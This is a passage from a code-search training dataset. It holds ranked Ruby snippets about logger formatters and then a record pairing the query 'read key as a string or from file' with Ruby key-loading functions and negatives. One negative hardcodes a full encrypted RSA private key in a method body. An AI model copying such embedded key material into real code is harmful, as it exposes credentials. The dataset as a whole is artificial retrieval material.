[ "def outputter(value = nil)\n setget(:@formatter, value)\n end", "def initialize\n @formatter = method(:default_formatter)\n end", "def configure\n yield self\n\n # Ensure every appender has a formatter and a level configuration.\n #\n appenders.each do |appender|\n appender.formatter ||= @formatter if appender.respond_to? 'formatter='\n appender.levels = @levels if appender.levels.empty?\n end\n end", "def default_formatter\n SemanticLogger::Formatters::Default.new\n end", "def set_outputters(logger, config)\n formatter = create_formatter(config)\n logger.outputters = get_outputters(config, formatter)\n return logger\n end", "def initialize\n @formatter = nil\n reset!\n end", "def formatters=(formatters); end", "def formatter\n @formatter ||= Formatters::Default.new\n end", "def formatter=(formatter)\n @formatter.formatter = formatter\n end", "def default_format(f)\n @default_formatter = Log4r::PatternFormatter.new(:pattern => f)\n\n #\n # Set all current outputters\n #\n result.outputters.each do |o|\n o.formatter = @default_formatter if o.formatter.is_a?(Log4r::DefaultFormatter)\n end\n\n @default_formatter\n end", "def set_output_format(args)\n # Identify method entry\n debug_print \"#{ self } : #{ __method__ }\\n\"\n\n # Need at least one file in args\n unless args.length == 1\n debug_print \"Invalid argument passed\\n\"\n return false\n end\n\n # Set config flag for CL tag set in config\n @config.cl_output_set = true\n debug_print \"Updated cl_output_set flag: #{ @config.cl_output_set }\\n\"\n\n @config.output_format = case args.pop.to_s\n when 'j', 'json'\n Watson::Formatters::JsonFormatter\n when 'unite'\n Watson::Formatters::UniteFormatter\n when 'silent'\n Watson::Formatters::SilentFormatter\n when 'nocolor'\n Watson::Formatters::NoColorFormatter\n else\n Watson::Formatters::DefaultFormatter\n end\n\n debug_print \"Updated output_format to: #{@config.output_format}\\n\"\n end", "def set_formatter(formatter)\n @formatter = formatter\n end", "def initialize(*args)\n old_initialize(*args)\n self.formatter = SimpleFormatter.new\n end", "def set_optional_formatters\n return if @conf[\"reporter\"].nil?\n\n if @conf[\"reporter\"].key?(\"json-rspec\")\n # We cannot pass in a nil output path. Rspec only accepts a valid string or a IO object.\n if @conf[\"reporter\"][\"json-rspec\"]&.[](\"file\").nil?\n RSpec.configuration.add_formatter(Inspec::Formatters::RspecJson)\n else\n RSpec.configuration.add_formatter(Inspec::Formatters::RspecJson, @conf[\"reporter\"][\"json-rspec\"][\"file\"])\n end\n @conf[\"reporter\"].delete(\"json-rspec\")\n end\n\n formats = @conf[\"reporter\"].select { |k, _v| %w{documentation progress html}.include?(k) }\n formats.each do |k, v|\n # We cannot pass in a nil output path. Rspec only accepts a valid string or a IO object.\n if v&.[](\"file\").nil?\n RSpec.configuration.add_formatter(k.to_sym)\n else\n RSpec.configuration.add_formatter(k.to_sym, v[\"file\"])\n end\n @conf[\"reporter\"].delete(k)\n end\n end", "def initialize\n super(STDOUT)\n @formatter = RainbowifyFormatter.new\n end", "def initialize\n super(STDOUT)\n @formatter = RainbowifyFormatter.new\n end", "def formatter fmt\n @formatter = fmt\n end", "def prelog\r\n create_file_outputter unless @file_outputter\r\n\r\n # Set up the remote logger here because we need the hostname and port to\r\n # have been loaded, and we'll have done a bit of logging before we load\r\n # those two (due to needing to load the project).\r\n if !@logstash_outputter && SAF.enable_remote_logging &&\r\n SAF.logstash_host && SAF.logstash_port then\r\n @logstash_outputter = log_stash_output = TCPOutputter.new(\r\n \"LogstashOutputter\",\r\n hostname: SAF.logstash_host,\r\n port: SAF.logstash_port)\r\n @logger.outputters << log_stash_output\r\n log_stash_output.formatter = JsonFormatter.new\r\n end\r\n end", "def default_formatter\n SemanticLogger::Formatters::Json.new\n end", "def default_formatter\n SemanticLogger::Formatters::Json.new\n end", "def default_formatter\n SemanticLogger::Formatters::Json.new\n end", "def log_formatter; end", "def log_formatter; end", "def log_formatter=(_arg0); end", "def log_formatter=(_arg0); end", "def formatter=(formatter)\n @formatter =\n if formatter.nil?\n respond_to?(:call) ? self : default_formatter\n else\n Formatters.factory(formatter)\n end\n end", "def use_formatter(formatter)\n @formatter = formatter\n end", "def formatter()\n @formatter\n end", "def default_formatter\n if protocol == :syslog\n # Format is text output without the time\n SemanticLogger::Formatters::Default.new(time_format: nil)\n else\n SemanticLogger::Formatters::Syslog.new(facility: facility, level_map: level_map, max_size: max_size)\n end\n end", "def initialize(name, level)\n super($stdout)\n\n @formatter = formatter\n @progname = name\n self.level = level\n end", "def default_formatter\n Sapience::Formatters::Default.new\n end", "def initialize\n self.class.output_to_stdout\n if $DEBUG\n self.class.set_level :debug\n else\n self.class.set_level :info\n end\n end", "def default_formatter\n SemanticLogger::Formatters::Raw.new\n end", "def set_loggers_format\n [@logger, @logger_stderr].each do |logger|\n logger.formatter = proc do |severity, _datetime, progname, msg|\n # If the message already has control characters, don't colorize it\n keep_original_color = msg.include? \"\\u001b\"\n message = \"[#{Time.now.utc.strftime('%F %T')} (PID #{$PROCESS_ID} / TID #{Thread.current.object_id})] #{severity.rjust(5)} - [ #{progname} ] - \"\n message << \"#{msg}\\n\" unless keep_original_color\n LEVELS_MODIFIERS[severity.downcase.to_sym].each do |modifier|\n message = message.send(modifier)\n end\n message << \"#{msg}\\n\" if keep_original_color\n message\n end\n end\n end", "def reset!\n @backtrace_filters = {}\n @backtrace_silencers = []\n @levels = { nil => :info }\n @appenders = []\n\n # If a DelegatingFormatter has already been set up replace its\n # formatter, otherwise create a new one.\n #\n if @formatter\n @formatter.formatter = StandardFormatter.new\n else\n @formatter = DelegatingFormatter.new(StandardFormatter.new)\n end\n end", "def set_defaults\n @out = StderrOut.new\n @location_format = :filename\n self.term_width = :detect\n end", "def initialize\n @stream = []\n @stream_callbacks = []\n @level = :info\n STDOUT.sync = true\n STDERR.reopen(STDOUT)\n self.class.create_level_methods\n setup_writer\n end", "def formatter=(_arg0); end", "def formatter=(_arg0); end", "def formatter=(_arg0); end", "def configure_formatter(format, output = nil)\n @formatters << MetricFu::Formatter.class_for(format).new(output: output)\n end", "def formatter=(proc)\n @formatter = proc\n end", "def use_format(formatter, *args)\n klass = formatter.is_a?(Class) ? formatter : formatter_class(formatter)\n self.output = klass.new($stdout, *args)\n end", "def formatter; end", "def formatter; end", "def formatter; end", "def toggle_formatter\n config[:formatter] = !config[:formatter]\n end", "def set_options(options)\n super(options)\n if !(filename = options[:filename]).nil?\n max_file_size = options.fetch(:max_file_size, options.fetch(:shift_size, 1048576))\n max_file_count = options.fetch(:max_file_count, options.fetch(:shift_age, 7))\n @logger = Logger.new(filename, max_file_count, max_file_size)\n elsif !(stream = options[:stream]).nil?\n @logger = Logger.new(stream)\n else\n @logger = Logger.new(STDOUT)\n end\n @logger.severity = options[:severity] if options.has_key?(:severity)\n @formatter = options.fetch(:formatter, nil)\n @logger.formatter = proc { |s,t,p,m| m }\n @name = 'Logger' if @name.nil?\n end", "def formatter\n @formatter.formatter\n end", "def init(*opts)\n reset!\n @logger = logger_for(BeanStalk::Worker::Config[:log_location])\n if @logger.respond_to?(:formatter=)\n if BeanStalk::Worker::Config[:log_formatter].eql?(:json)\n @logger.formatter = Mixlib::Log::JSONFormatter.new()\n else\n @logger.formatter = Mixlib::Log::Formatter.new()\n end\n end\n @logger.level = Logger.const_get(\n BeanStalk::Worker::Config[:log_level].to_s.upcase)\n @logger\n end", "def formatter=(value)\n if BawApp.dev_or_test? && value.is_a?(Resque::QuietFormatter)\n raise 'formatter should never be set to a QuietFormatter'\n end\n\n @loggers.each do |logger|\n logger.formatter = value if logger.respond_to?(:formatter=)\n end\n end", "def formatter\n @formatter ||= HumanFormatter.new\n end", "def initialize( logger, settings={} ) # :notnew:\n\t\t\tsettings = LEVEL_FORMATS.merge( settings )\n\n\t\t\t@logger = logger\n\t\t\t@settings = settings\n\n\t\t\tsuper()\n\t\tend", "def output\n super(@file_format => @file_path)\n end", "def builder_setup\n @result = Log4r::Logger['Mauve'] || Log4r::Logger.new('Mauve')\n @default_format = nil\n @default_level = Log4r::RootLogger.instance.level\n end", "def formatter\n raise NotImplementedError\n end", "def initialize\n @logger = ::Logger.new(STDOUT)\n self.level = :info\n end", "def formatter \n original_formatter = Logger::Formatter.new\n Proc.new do |severity, datetime, progname, msg|\n original_formatter.call(severity, datetime, \n \"#{progname}##{caller_method}\",\n msg.dump)\n end\n end", "def logger=(writer); end", "def logger=(writer); end", "def logger=(writer); end", "def logger=(writer); end", "def logger=(writer); end", "def initialize\n self.logger = Logger.new(STDOUT)\n reset!\n end", "def formatters\n @formatters ||= {}\n end", "def initialize(options = {})\n\t\t\t@logger = Logger.new(STDOUT)\n\t\t\t@logger.level = Logger::INFO\n\t\tend", "def initialize\n @logger = Logger.new(STDOUT)\n super(@logger)\n end", "def reset_format!\n self.format = @default_format\n end", "def formatter\n @formatter ||= Unipept::Formatter.new_for_format(options[:format])\n end", "def create_logger(outputter=STDOUT, level=Logger::INFO)\n LOGGER.set_logger(Logger.new(outputter, level))\n end", "def configure_output\n RSpec.configuration.output_stream = $stdout\n @formatter = RSpec.configuration.add_formatter(Inspec::Formatters::Base)\n RSpec.configuration.add_formatter(Inspec::Formatters::ShowProgress, $stderr) if @conf[:show_progress]\n set_optional_formatters\n RSpec.configuration.color = @conf[\"color\"]\n end", "def formatters; end", "def setup_default_logger(logger)\n progname = 'Expectacle'\n @logger = if logger == :syslog\n Syslog::Logger.new(progname)\n else\n default_io_logger(logger, progname)\n end\n @logger.level = Logger::INFO\n @logger.formatter = proc do |severity, datetime, pname, msg|\n \"#{datetime} #{pname} [#{severity}] #{msg}\\n\"\n end\n end", "def init(*opts)\n if opts.length == 0\n @logger = Logger.new(STDOUT)\n else\n @logger = Logger.new(*opts)\n end\n @logger.formatter = Ohai::Log::Formatter.new()\n level(Ohai::Config.log_level)\n end", "def to_format(formatter_klass, options={})\n formatter_klass.new(self, options).output\n end", "def configure_logging(logger)\n logger.level = LOG_LEVEL\n logger.datetime_format = '%Y-%m-%d %H:%M:%S'\n logger.formatter = proc do |severity, datetime, progname, msg|\n color = case severity\n when \"DEBUG\" then :light_white\n when \"INFO\" then :light_yellow\n when \"WARN\" then :light_red\n when \"ERROR\" then :blue\n when \"FATAL\" then :magenta\n when \"UNKNOWN\" then :cyan\n end\n \"#{datetime}: #{msg.colorize(color)}\\n\"\n end\n logger\nend", "def initialize(datacenter_context)\n super(datacenter_context)\n @leader = @datacenter.name\n @logger = Logger.new($stdout)\n @logger.formatter = proc do |severity, datetime, progname, msg|\n \"[#{datetime}] #{@datacenter.name}(Leader): #{msg}\\n\\n\"\n end\n end", "def format(formatter = self.class.formatter, **options)\n formatter.format(self, options)\n end", "def set_output_format(options)\n @output_format = AeolusCli::Formatting.create_format(shell, options)\n end", "def set_default_outputs\n @output_options = OUTPUTS\n end", "def create_formatter\n BunyanFormatterWithSilencedTimestamp.new\n end", "def use(formatter)\n formatters << proc { |progress| formatter.new(progress) }\n end", "def init\n Logging.logger.root.level = :debug\n Logging.logger.root.add_appenders(\n Logging.appenders.stdout(\n :backtrace => false,\n :level => @config[:verbose] ? :debug : :info,\n :layout => Logging.layouts.pattern(:pattern => STDOUT_PATTERN)\n ),\n Logging.appenders.rolling_file(\n @log_file,\n :backtrace => true,\n :level => :debug,\n :layout => Logging.layouts.pattern(:pattern => LOG_FILE_PATTERN)\n )\n )\n Logging.mdc['client'] = 'server'\n end", "def initialize(format = DEFAULT_FORMAT, width = nil)\n super()\n @format_string = format\n @width = width || Console.width || -1\n mark = java.lang.String.format(@format_string, Time.now,\n '', '', '', '!$!', nil, nil)\n @indent = mark.lines.first.index('!$!')\n @level_labels = Hash.new{ |h, k| h[k] = k }\n @level_labels[JavaUtilLogger::Level::WARNING] = 'WARN'\n @level_labels[JavaUtilLogger::Level::SEVERE] = 'ERROR'\n @level_labels[JavaUtilLogger::Level::FINEST] = 'DEBUG'\n end", "def outputter_for(name, *a, &b)\n outputter_class_for(name).new(self, *a, &b)\n end", "def get_formatter_class\n fail 'get_formatter_class method is not override'\n end", "def initialize(writer, level = :info)\n @messages = []\n @writer = writer\n self.log_level = level\n end", "def create_formatter\n ::Ougai::Formatters::Bunyan.new\n end", "def init_logging\n app_name = ENV[\"APP_NAME\"] || \"calcentral\"\n format = PatternFormatter.new(:pattern => \"[%d] [%l] [CalCentral] %m\")\n\n Rails.logger = Log4r::Logger.new(app_name)\n Rails.logger.level = DEBUG\n Rails.logger.outputters = init_file_loggers(app_name, format)\n\n stdout = Outputter.stdout #controlled by Settings.logger.level\n stdout.formatter = format\n # level has to be set in the logger initializer, after Settings const is initialized.\n # see initializers/logging.rb\n Rails.logger.outputters << stdout\n end", "def error_formatter=(formatter)\n\t\t\t@stderr_logger.formatter=formatter\n\t\tend", "def error_formatter=(formatter)\n\t\t\t@stderr_logger.formatter=formatter\n\t\tend", "def create_file_outputter\r\n log_file = create_log_file_path\r\n\r\n unless File.exist?(File.dirname(log_file)) then\r\n FileUtils.mkdir_p(File.dirname(log_file))\r\n end\r\n\r\n @file_outputter = Log4r::FileOutputter.new(\r\n 'saf_file_logger',\r\n filename: log_file, trunc: false)\r\n @file_outputter.formatter = SAFSTDOUTFormatter.new\r\n logger.outputters << @file_outputter\r\n end", "def setup_logging( level=:fatal )\n\n\t\t# Only do this when executing from a spec in TextMate\n\t\tif ENV['HTML_LOGGING'] || (ENV['TM_FILENAME'] && ENV['TM_FILENAME'] =~ /_spec\\.rb/)\n\t\t\tlogarray = []\n\t\t\tThread.current['logger-output'] = logarray\n\t\t\tLoggability.output_to( logarray )\n\t\t\tLoggability.format_as( :html )\n\t\t\tLoggability.level = :debug\n\t\telse\n\t\t\tLoggability.level = level\n\t\tend\n\tend", "def initialize\n @logProvider = DefaultLogger.new\n end", "def register_formatter formatter_class\n @formatters << formatter_class.new\n end", "def register_formatter formatter_class\n @formatters << formatter_class.new\n end", "def logger_output; end", "def initialize(out = STDOUT, progname = '')\n @logger = Logger.new(out, progname: progname)\n @@LAST_TIME = Time.current\n @logger.formatter = proc do |severity, _datetime, progname, msg|\n severity = \"\\e[31mWARN\\e[0m\" if severity == 'WARN'\n severity = \"\\e[31mERROR\\e[0m\" if severity == 'ERROR'\n t = Time.current.strftime(\"%Y-%m-%d %T\")\n preamble = '%-40s' % \"[#{severity} #{t} #{progname}]\"\n \"#{preamble} #{msg}\\n\"\n end\n @warning_dir = './tmp/vhp-build-warnings'\n end", "def test_boundaries\n o = StderrOutputter.new('ak', :formatter => Formatter)\n assert_exception(TypeError) { o.formatter = nil }\n assert_exception(TypeError) { o.formatter = String }\n assert_exception(TypeError) { o.formatter = \"bogus\" }\n assert_exception(TypeError) { o.formatter = -3 }\n # the formatter should be preserved\n assert(o.formatter.type == Formatter) \n end", "def formatter_outputter\n b = binding\n if @context_params[\"structure\"]\n name_entry = @context_params[\"structure\"][\"main\"][\"name\"]\n else\n name_entry = nil\n end\n @files = [{\n \"name\" => name_entry,\n \"body\" => ERB.new(@context_params[\"main-body\"]).result(b)\n }]\n end" ]
[ "0.7170814", "0.69238234", "0.68924767", "0.64659834", "0.6427268", "0.6384431", "0.6359677", "0.6338683", "0.6313853", "0.62974", "0.62230897", "0.6218285", "0.6173541", "0.61664784", "0.6150814", "0.6150814", "0.6116878", "0.60889846", "0.6086099", "0.6086099", "0.6086099", "0.60468626", "0.60468626", "0.6043927", "0.6043927", "0.60431415", "0.60294044", "0.60256916", "0.60097563", "0.5995288", "0.5978063", "0.5972283", "0.59693485", "0.5961659", "0.595234", "0.5947132", "0.5940454", "0.59216666", "0.59216666", "0.59216666", "0.5904073", "0.5903737", "0.58967966", "0.58819973", "0.58819973", "0.58819973", "0.58755666", "0.5872215", "0.5864178", "0.58201164", "0.5808995", "0.57949567", "0.5789921", "0.5763203", "0.5750624", "0.5748317", "0.57133716", "0.56822807", "0.5680724", "0.5680724", "0.5680724", "0.5680724", "0.5680724", "0.565926", "0.5647386", "0.56380826", "0.563446", "0.5628835", "0.5627555", "0.5623726", "0.56187207", "0.5615708", "0.5593302", "0.5591971", "0.5581963", "0.55748624", "0.555347", "0.5546774", "0.5516892", "0.551063", "0.55079406", "0.54975724", "0.54889756", "0.54774356", "0.5470228", "0.5457391", "0.54569733", "0.54442877", "0.5443083", "0.5438303", "0.5438303", "0.5437466", "0.542253", "0.5418098", "0.54178977", "0.54178977", "0.5414398", "0.53895783", "0.5383698", "0.537468" ]
0.7372929
0
read key as a string or from file(eg. pub_key.pem)
def read_key(key) if File.exist?(key.to_s) && File.file?(key.to_s) File.read(File.absolute_path(key)) else key end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def read_key(type, key=nil, passphrase=nil)\n return key if key.nil?\n\n raise \"Could not find key #{key}\" unless File.exist?(key)\n\n if type == :public\n return OpenSSL::PKey::RSA.new(File.read(key))\n elsif type == :private\n return OpenSSL::PKey::RSA.new(File.read(key), passphrase)\n else\n raise \"Can only load :public or :private keys\"\n end\n end", "def keyload(key_file_path=\"rsa_private_key.rb\")\n #require key_file_path\n require_relative key_file_path\n @n, @e= publickey\n @privatekey=privatekey\n #puts $n, $e, $privatekey\n end", "def load_public_key(filename); end", "def read_key(type, key=nil, passphrase=nil)\n return key if key.nil?\n\n raise \"Could not find key #{key}\" unless File.exist?(key)\n raise \"#{type} key file '#{key}' is empty\" if File.zero?(key)\n\n case type\n when :public\n begin\n key = OpenSSL::PKey::RSA.new(File.read(key))\n rescue OpenSSL::PKey::RSAError\n key = OpenSSL::X509::Certificate.new(File.read(key)).public_key\n end\n\n # Ruby < 1.9.3 had a bug where it does not correctly clear the\n # queue of errors while reading a key. It tries various ways\n # to read the key and each failing attempt pushes an error onto\n # the queue. With pubkeys only the 3rd attempt pass leaving 2\n # stale errors on the error queue.\n #\n # In 1.9.3 they fixed this by simply discarding the errors after\n # every attempt. So we simulate this fix here for older rubies\n # as without it we get SSL_read errors from the Stomp+TLS sessions\n #\n # We do this only on 1.8 relying on 1.9.3 to do the right thing\n # and we do not support 1.9 less than 1.9.3\n #\n # See http://bugs.ruby-lang.org/issues/4550\n OpenSSL.errors if Util.ruby_version =~ /^1.8/\n\n key\n when :private\n OpenSSL::PKey::RSA.new(File.read(key), passphrase)\n else\n raise \"Can only load :public or :private keys\"\n end\n end", "def retrieve_key_string_from_stream(stream)\n return stream.read if stream.respond_to?(:read)\n return File.read(stream) if stream.to_s !~ /^-+BEGIN .* KEY-+$/\n stream\n end", "def raw_key\n key = read['pem']\n raise \"There is no key for some reason for user @#{@login}\" if key.nil?\n key\n end", "def read_auth_key\n f = nil\n begin\n f = File.open(@auth_key_name) \n rescue Errno::ENOENT\n return nil\n else\n return f.read\n ensure\n f.close unless f.nil? \n end\n end", "def read_key_file_for_add(file)\n if file.nil?\n if $stdin.tty?\n info \"Paste a public key, then hit <ctrl+d> twice.\"\n key = Dotgpg::Key.read($stdin)\n else\n key = Dotgpg::Key.read($stdin)\n $stdin.reopen \"/dev/tty\"\n end\n elsif File.readable?(file)\n key = Dotgpg::Key.read(File.read(file))\n end\n end", "def load_key(key_file)\n OpenSSL::PKey::RSA.new(File.read(key_file), @password)\n end", "def decode_string_public_key(raw, offset=0, algo=nil)\n key_raw, str_read = decode_string(raw, offset)\n key, cert_read = decode_public_key(key_raw, 0, algo)\n\n if cert_read != key_raw.bytesize\n raise DecodeError, \"unexpected trailing data\"\n end\n\n [key, str_read]\n end", "def read(key)\n filepath = realpath(key)\n return unless File.file?(filepath)\n\n Marshal.load(IO.binread(filepath))\n rescue TypeError, ArgumentError\n nil # handle if file content is invalid\n end", "def read_from_file(file_name)\n ::File.binread(file_name)\n rescue Errno::ENOENT\n raise(SymmetricEncryption::ConfigError, \"Symmetric Encryption key file: '#{file_name}' not found or readable\")\n end", "def load_public_key(filename)\n data = File.read(File.expand_path(filename))\n load_data_public_key(data, filename)\n end", "def load_public_key\n @public_rsa = nil\n \n if public_key_file && File.file?(public_key_file)\n @public_key = File.read(public_key_file)\n end\n end", "def key_pem; end", "def load_key_string(key_string)\n Rnp.new.tap do |rnp|\n rnp.load_keys(\n format: \"GPG\",\n input: Rnp::Input.from_string(key_string),\n public_keys: true,\n secret_keys: true,\n )\n end\n end", "def get_public_key(pub_key_url, reload = false)\n unless pub_key_url.start_with?(PUB_KEY_URL_PREFIX) ||\n pub_key_url.start_with?(PUB_KEY_URL_PREFIX_S)\n fail \"Invalid public key URL: #{pub_key_url}\"\n end\n\n if reload || @pub_key.nil?\n @pub_key = open(pub_key_url) { |f| f.read }\n end\n\n @pub_key\nend", "def auth_key_from_pem\n public_key = private_key.public_key\n Base64.strict_encode64(public_key.to_der)\n end", "def load_data_public_key(data, filename = T.unsafe(nil)); end", "def read_private_key_from_file\n pem_files_in_root = Dir[\"*.pem\"]\n\n @_github_private_key ||= if pem_files_in_root.any?\n File.read(pem_files_in_root.first)\n else\n raise \"Sorry, can't find local pem file\"\n end\n end", "def public_key\n OpenSSL::PKey.read(public_to_der)\n end", "def public_key\n OpenSSL::PKey.read(public_to_der)\n end", "def rsa_key(key_as_string)\n OpenSSL::PKey::RSA.new key_as_string\n end", "def load_data_public_key(data, filename = \"\")\n fields = data.split(/ /)\n\n blob = nil\n begin\n blob = fields.shift\n end while !blob.nil? && !/^(ssh-(rsa|dss|ed25519)|ecdsa-sha2-nistp\\d+)(-cert-v01@openssh\\.com)?$/.match(blob)\n blob = fields.shift\n\n raise Net::SSH::Exception, \"public key at #{filename} is not valid\" if blob.nil?\n\n blob = blob.unpack(\"m*\").first\n reader = Net::SSH::Buffer.new(blob)\n reader.read_key or raise OpenSSL::PKey::PKeyError, \"not a public key #{filename.inspect}\"\n end", "def read_key_file_for_rm(file)\n if !File.exist?(file) && File.exist?(\".gpg/\" + file)\n file = \".gpg/\" + file\n end\n\n if File.readable?(file)\n Dotgpg::Key.read(File.read(file))\n end\n end", "def get_local_pem_file\n File.read(PRIVATE_KEY_PATH) || (raise BitPayError, MISSING_KEY)\n end", "def load_private_key(filename, passphrase = T.unsafe(nil), ask_passphrase = T.unsafe(nil), prompt = T.unsafe(nil)); end", "def as_string(key)\n with_input_io(key) do |io|\n io.read\n end\n end", "def load_private_key\n @private_rsa = nil\n \n if private_key_file && File.file?(private_key_file)\n @private_key = File.read(private_key_file)\n end\n end", "def read key = nil\n parse_json_allowing_quirks_mode s3_object(key).read\n rescue AWS::S3::Errors::NoSuchKey\n nil\n end", "def get_public_key\n # Obtain public key\n pem_cert = Env.instance['RSA_PUBLIC_KEY_PATH']\n begin\n public_key = File.read(pem_cert)\n return public_key\n rescue => err \n $stderr.puts \"ERROR: missing RSA_PUBLIC_KEY_PATH in env.yml'\"\n end\n nil\n end", "def load_auth_key\n OpenSSL::PKey::RSA.new(\n File.read('/opt/gluu-server/etc/certs/api-key.pem'),\n key_info[:api_key_pass],\n )\n end", "def key(keygap)\n key = read['pem']\n raise \"There is no key for some reason for user @#{@login}\" if key.nil?\n key = Keygap.new.merge(key, keygap)\n @log.debug(\"The private key of @#{@login} reassembled: #{key.to_s.length} chars\")\n key\n end", "def read\n encrypted = ENV.fetch(key_env_var, nil)\n raise \"The Environment Variable #{key_env_var} must be set with the encrypted encryption key.\" unless encrypted\n\n binary = encoder.decode(encrypted)\n key_encrypting_key.decrypt(binary)\n end", "def private_key\n\t '-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,3D37CD3A313CADA2 7c1TAxzv6Gn2OmZzVNtEnU9lqrEwRL65huGc9ewQQ7senY3rkBgIqBzqVarAfS0I 6OMimI57q7XywAiFn7CZ+L7fbXdNuvmGx5JDNRwylgGWR+hPi9JMKEAP1yjdJPRS 608pDXIliz5bO0GdvufQxQ91MPjE4Bs5AT8TIE3bzuFllBYJD/mLpkK4bOjLHswI 7W7afVctpYaRAwzb64Z+gUQZL0BIcQzG2wYvFU3vAs5sCtEy9o7riY/bBi78EEH6 go01DkgYLt8M7ApTwblJNJR0G/8bwy3oDgdieM42sFLzftxwjeBhIiF1ExH+KuYA ftAcROOfr8rduvNNc6jJcx2lyze+4joPjHDBXZr27bg3o3SwOQCIXUHe0DHG0PHn TbZkL2btHH36mTMq0j6P9R4t1wLhJ8Pq2LjLDwLhXw3Tb8aIX1tpShxyy9Yv8F84 Q6dfBLe4yqmvW1Db2nGmZ++gPua2OGWuNXwjivt2XrZ0fGAGri5j9bsqyvDsHwUS aRs8PaG97rgmyRGHYUoicBdgeFZhBHSLlU5F6RNUTOgK9QAHP4+bdKbMQxvhveh8 +v9o7Xa7BlqEvUYXIfBwEbHZoJx4t90XSndSS3chlfoEb6vcxOBmplUZlWs55aSL U7dW1MaE48Afav6TtM2VsN9RzwU8QSplpm7z9C9xkYVBMN6UcKIbnHH1yXdhTGEG uaEvPrtSh+BroAx1OmMjkmb0s1PjgDqLEtaYifP1OXgSS3uTqPBcpgUZDnuYQZmW Ihv7SvGdyWVQUgpv5LukyZPhXdlsCQ+8TlEYn4MOl87uxqo3KCVzVdmhAx2PWS/q wLcyOq0wJuvgAAtmI4/EnXVaP5P6WQ7rixfxdDfR1nI5TnDQkgs2xquyb0cms0J+ hXkIGvQOMAzq2Js3Ad7qyiklDASR20zZt6JPKTgZpLq682Fx+LJCCryAqjye2nAI 0w5SHEd80J/lAUEYo/HrNDBWS0JzD4lfERwUxgXxvynFI1ak38h0YP9RR2ka0pMI DJ8G6/w3Ir1qgLM/E+bTvp1YE683J/j1+vdYC/eoAbki2wgJAitYFdexLpw/qMvj xonY4iyhVkgzQb0GObesjPhr0CQ1gRC8p/A68Pk4cXejKTO95gUnD682Mu6lgYXQ e3rEnNVUruiPEzMKbkPLIsaWfUKfGRb0okQmuISXEfjyLfjkUgD6bxes+9KuHdvj pZze3dOgB1W6ZGsbrQ8ooXAOewYbhDcEqVsPOItVBoZ14CmCSd1X8RiW1dnfZBLa 5W8L7HaVLgiKUWlu2N6BE3etMK/fzhLh1K8WT6PxqzqVfJZZ9TYwVSYbcJuej0Hf ioHwYgqO22aZrp+ciJplCyOooFOKVVW45iLPtSHX64aE6FKbdPEPcndIOl0J9ah0 Hwicaw0ADP4STb83NysAZdHO2UVNEERkp2P4XmgeeH3gYHhPv3xCbbDejrrRJjeq VRer8i6HxiuJ/SxNKvbiwztF/44nWJ+9m2FoNqumTITdQAx7VU3681uEsO9ZbsJU Lbt0zwxna4X6WEtjdy5ExqLlU+wnzWgG+I11vgXSarye2oTuGPK8wjBkfEqdRTxs -----END RSA PRIVATE KEY----- '\n\tend", "def read_key(key)\n raise RuntimeError.new(\"read_key not implemented!\")\n end", "def coerce(value)\n return if value.nil?\n\n key_path = value.to_s\n\n unless File.exist?(key_path)\n ContainerConfig.logger.warn { \"Could not find SSL key at #{key_path}\" }\n return\n end\n\n OpenSSL::PKey::RSA.new(File.read(key_path))\n rescue OpenSSL::PKey::RSAError => e\n ContainerConfig.logger.warn { \"Could not parse SSL key #{key_path} successfully: #{e}\" }\n nil\n end", "def private_key_get\n return @priv_key unless @priv_key.nil?\n priv_key_path = File.join(resource[:priv_key_dir], resource[:priv_key_name])\n @priv_key = if Pathname.new(priv_key_path).exist?\n file = File.read(priv_key_path)\n case resource[:auth_type].downcase\n when 'dsa'\n OpenSSL::PKey::DSA.new(file, resource[:key_password])\n when 'rsa'\n OpenSSL::PKey::RSA.new(file, resource[:key_password])\n when 'ec'\n OpenSSL::PKey::EC.new(file, resource[:key_password])\n else\n raise Puppet::Error, \"Unknown authentication type '#{resource[:auth_type]}'\"\n end\n else\n false\n end\n end", "def private_key\n @private_key ||= load_key(@private_key_file)\n end", "def read_keyblob(type); end", "def public_key(format: :z85)\n case format\n when :z85\n ffi_delegate.public_txt.force_encoding(Encoding::ASCII)\n when :binary\n ffi_delegate.public_key.read_string(32)\n else\n raise ArgumentError, format('invalid format: %p', format)\n end\n end", "def load_keypair(private_key, public_key)\n @private_key = private_key\n @public_key = public_key\n @private_rsa = OpenSSL::PKey::RSA.new @private_key\n @public_rsa = OpenSSL::PKey::RSA.new @public_key\n end", "def get key\n deserialize backend.get key.to_s rescue nil\n end", "def load_private_key_password\n Puppet::FileSystem.read(Puppet[:passfile], :encoding => Encoding::BINARY)\n rescue Errno::ENOENT\n nil\n end", "def load_private_key(filename, passphrase = nil, ask_passphrase = true, prompt = Prompt.default)\n data = File.read(File.expand_path(filename))\n load_data_private_key(data, passphrase, ask_passphrase, filename, prompt)\n end", "def read_key; end", "def public_key\n @public_key ||= load_key(@public_key_file)\n end", "def public_key\n require_key\n\n @private_key.public_key.to_pem\n end", "def key_contents(path, options = {})\n # Check if key exists first. Otherwise we could return some\n # weird strings. Also, raise error if user is trying to get a\n # private key.\n key_content_type = key_metadata(path, options).rundeck_content_type\n if key_content_type == content_type('private')\n fail Error::Unauthorized,\n 'You are not allowed to retrieve the contents of a private key'\n end\n\n options.merge!(format: :plain,\n headers: { 'Accept' => 'application/pgp-keys' })\n key = get(\"#{STORAGE_KEYS_PATH}/#{path}\", options)\n objectify 'public_key' => key\n end", "def get_key\n @key = Base64.decode64('MzRlZTc5ODMtNWVlNi00MTQ3LWFhODYtNDQzZWEwNjJhYmY3NzQ0OTNkNmEtMmExNS00M2ZlLWFhY2UtZTc4NTY2OTI3NTg1Cg==')\n end", "def ssh_key_triple_for(key)\n begin\n file = File.open key\n rescue Errno::ENOENT => e\n raise ::RHC::KeyFileNotExistentException.new(\"File '#{key}' does not exist.\")\n rescue Errno::EACCES => e\n raise ::RHC::KeyFileAccessDeniedException.new(\"Access denied to '#{key}'.\")\n end\n file.gets.chomp.split\n end", "def handle_sync_key enc_key\n PRIVATE_KEY.private_decrypt enc_key\n end", "def public_key\n public_key_object.to_pem\n end", "def ssh_key_triple_for(key)\n begin\n IO.read(key).chomp.split\n rescue Errno::ENOENT => e\n raise ::RHC::KeyFileNotExistentException.new(\"File '#{key}' does not exist.\")\n rescue Errno::EACCES => e\n raise ::RHC::KeyFileAccessDeniedException.new(\"Access denied to 